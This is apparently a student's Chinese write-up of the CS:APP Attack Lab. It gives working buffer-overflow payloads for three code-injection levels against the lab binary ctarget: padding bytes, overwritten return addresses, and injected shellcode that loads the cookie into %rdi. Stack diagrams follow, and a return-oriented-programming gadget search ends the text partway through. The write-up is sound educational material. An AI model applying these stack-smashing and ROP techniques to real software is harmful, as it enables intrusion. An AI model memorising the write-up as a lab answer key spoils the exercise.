第一部分

第一关

根据文档攻击目标是getbbuf函数。查看其汇编代码

```
0x000000000040173b <+0>:  sub    $0x28,%rsp
 0x000000000040173f <+4>: mov    %rsp,%rdi
 0x0000000000401742 <+7>: call   0x40197a <Gets>
 0x0000000000401747 <+12>:    mov    $0x1,%eax
 0x000000000040174c <+17>:    add    $0x28,%rsp
 0x0000000000401750 <+21>:    ret
```

看出缓冲区大小为0x28,即40.所以应该先填充40个任意字符。 再找出touch1的地址为0x0000000000401751,所以这个地址要覆盖掉返回地址。 综上注入字节为`33 ...(一共四十个33)00 00 00 00 00 40 17 51` 转化为小端形式`33 ... 33(一共四十个33)51 17 40 00 00 00 00 00` . 将上面的代码存在input.txt中，命令行输入`./hex2raw < input.txt | ./ctarget`，攻击成功。 调用get前后栈的情况如下图（sheet1）,其中黑线框中为栈中值，左边为地址(rsp和rip表示此时寄存器指向该地址)，右边为解释

	A	B	C	D	E	F	G	H
1	1.调用get前				2.调用get后			
2		0x5563f200	0x4018c3	返回getbuf			0x401751	touch1地址
3		0x5563f1f8					0x3333333333333333	任
4		0x5563f1f0					0x3333333333333333	意
5		0x5563f1e8					0x3333333333333333	字
6		0x5563f1e0					0x3333333333333333	符
7		0x5563f1d8				rsp	0x3333333333333333	串

第二关

首先得到touch2的地址为`0x000000000040177d` 我的cookie为0x7a742553,所以要让程序执行以下指令

```
movq $0x7a742553,%rdi
ret
```

下面生成机器代码，创建文件1_2.s，输入`movq $0x7a742553,%rdi` ，然后输入以下命令

```
gcc -c 1_2.s
objdump -d 1_2.o > 1_2.d
```

在1_2.d中可得

```
48 c7 c7 53 25 74 7a    mov    $0x7a742553,%rdi
```

所以`movq $0x7a742553,%rdi` 的机器代码为`48 c7 c7 53 25 74 7a`。同理可得`ret` 的机器代码为`c3` 思路是在字符串中注入上述代码，然后把返回地址该为getbuf的返回地址改为注入汇编代码的地址，并且把getbuf的返回地址的上面一个字改为touch2的地址，以此让注入的ret指令返回touch2。 为了做到以上步骤，必须先获得调用getbuf时栈底的地址。gbd断点获得rsp的值为`0x5563f200` denug观察发现，代码的执行在一个字中是从右往左的，一个字节一个字节依此进行的， 所以注入代码为

```
c3 7a 74 25 53 c7 c7 48
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
00 00 00 00 55 63 f1 d8
00 00 00 00 00 40 17 7d
```

改为小端表示法

```
48 c7 c7 53 25 74 7a c3
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
d8 f1 63 55 00 00 00 00
7d 17 40 00 00 00 00 00
```

将上面的代码存在input.txt中，命令行输入`./hex2raw < input.txt | ./ctarget`,攻击成功 栈的情况如下图（sheet2）

	A	B	C	D	E	F	G	H
1	1.调用get前				2.调用get后		0x40177d	touch2地址
2		0x5563f200	0x4018c3				0x5563f1d8	注入汇编地址
3		0x5563f1f8					0x3333333333333333	
4		0x5563f1f0					0x3333333333333333	任意字符
5		0x5563f1e8					0x3333333333333333	
6		0x5563f1e0					0x3333333333333333	
7		0x5563f1d8				rsp	0xc3 7a 74 25 53 c7 c7 48	注入汇编
8								
9	3.getbuf返回后	rsp	0x40177d	touch2地址				
10			0x5563f200	注入汇编地址				
11			0x3333333333333333					
12			0x3333333333333333	任意字符				
13			0x3333333333333333					
14			0x3333333333333333					
15		rip	0xc3 7a 74 25 53 c7 c7 48	注入汇编				

第三关

首先得到touch3的地址为0x401851。 由题意知，应该执行以下指令。其中`$0x5563f210`是字符串的地址。将字符串放在getbuf的调用函数的栈中，防止被覆盖。

```
movq $0x5563f210,%rdi
ret
```

机器代码为

```
48 c7 c7 10 f2 63 55
c3
```

思路是将cookie的string的Ascii码注入到栈中，然后把返回地址改为getbuf的返回地址改为注入汇编代码的地址，并且把getbuf的返回地址的上面一个字改为touch3的地址，以此让注入的ret指令返回touch3。 cookie对应字符串“7a742553”的Ascii码序列为`0x37 61 37 34 32 35 35 33 00` 所以注入代码为

```
c3 55 63 f2 10 c7 c7 48
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
00 00 00 00 55 63 f1 d8
00 00 00 00 00 40 18 51
33 35 35 32 34 37 61 37
00 00 00 00 00 00 00 00
```

改为小端表示法

```
48 c7 c7 10 f2 63 55 c3
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
d8 f1 63 55 00 00 00 00
51 18 40 00 00 00 00 00
37 61 37 34 32 35 35 33
00 00 00 00 00 00 00 00
```

将上面的代码存在input.txt中，命令行输入`./hex2raw < input.txt | ./ctarget`,攻击成功 栈的情况如下图（sheet3）

	A	B	C	D	E	F	G	H
1		0x5563f208					0x00	字符串
2		0x5563f210					0x 33 35 35 32 34 37 61 37	
3	1.调用get前	0x5563f208			2.调用get后		0x401851	touch3地址
4		0x5563f200	0x4018c3	返回getbuf			0x5563f1d8	注入汇编的地址
5		0x5563f1f8					0x3333333333333333	
6		0x5563f1f0					0x3333333333333333	任意字符
7		0x5563f1e8					0x3333333333333333	
8		0x5563f1e0					0x3333333333333333	
9		0x5563f1d8				rsp	0x c3 55 63 f2 10 c7 c7 48	注入汇编
10								
11	3.getbuf返回后		0x00	字符串	4.调用touch3时		0x00	字符串
12			0x 33 35 35 32 34 37 61 37			rsp	0x 33 35 35 32 34 37 61 37	
13		rsp	0x401851	touch3地址			0x401851	touch3地址
14			0x5563f1d8	注入汇编的地址			0x5563f1d8	注入汇编的地址
15			0x3333333333333333				0x3333333333333333	
16			0x3333333333333333	任意字符			0x3333333333333333	任意字符
17			0x3333333333333333				0x3333333333333333	
18			0x3333333333333333				0x3333333333333333	
19		rip	0x c3 55 63 f2 10 c7 c7 48	注入汇编			0x c3 55 63 f2 10 c7 c7 48	注入汇编

第二部分

第二关2.0

应该执行以下gadget

```
popq %rdi
ret
```

机器代码为

```
5f
c3
```

farm的代码为

```
<star_farm>00 00 00 c3
89 c7 90 c3
b5 25 60 c3 , 90 c3 8a c3
58 90 90 c3
<setval_139>68 89 c7 c3 , 89 c7 c3 c3
89 c7 90 c3
6a 58 94 c3
c8 89 c7 c3, 89 c7 c3 c3
55 58 94 c3, 89 c7 c3 c3
<mid_farm>00 00 00 c3
```

根据题意，有用的代码为： `48 89`开头 `5_`开头 `89`开头 含有`c0 c9 d2 db`或`20 08 38 84`

中间有c7，94等占位符，用python筛选如下，字符串匹配

```
<setval_139>89 c7 c3
<setval_234>89 c7 c3
<adval_435>89 ce 20 c0 c3
<getval_309>89 c2 08 d2 c3
<addval_293>89 ce 90 c7 c3
<gv_426>20 db c3
<gv_199>89 d1 20 c9
<gv_347>89 e0 c3
```

```
<gv116>58 90 c3 8a c3
<ad486>58 90 90 c3
<gv395>58 94 c3
<av192>55 58 94 c3
```

只有58即popq rax的机器码，所以应该重点寻找含rax的mov和运算指令，即重点寻找 __ c_.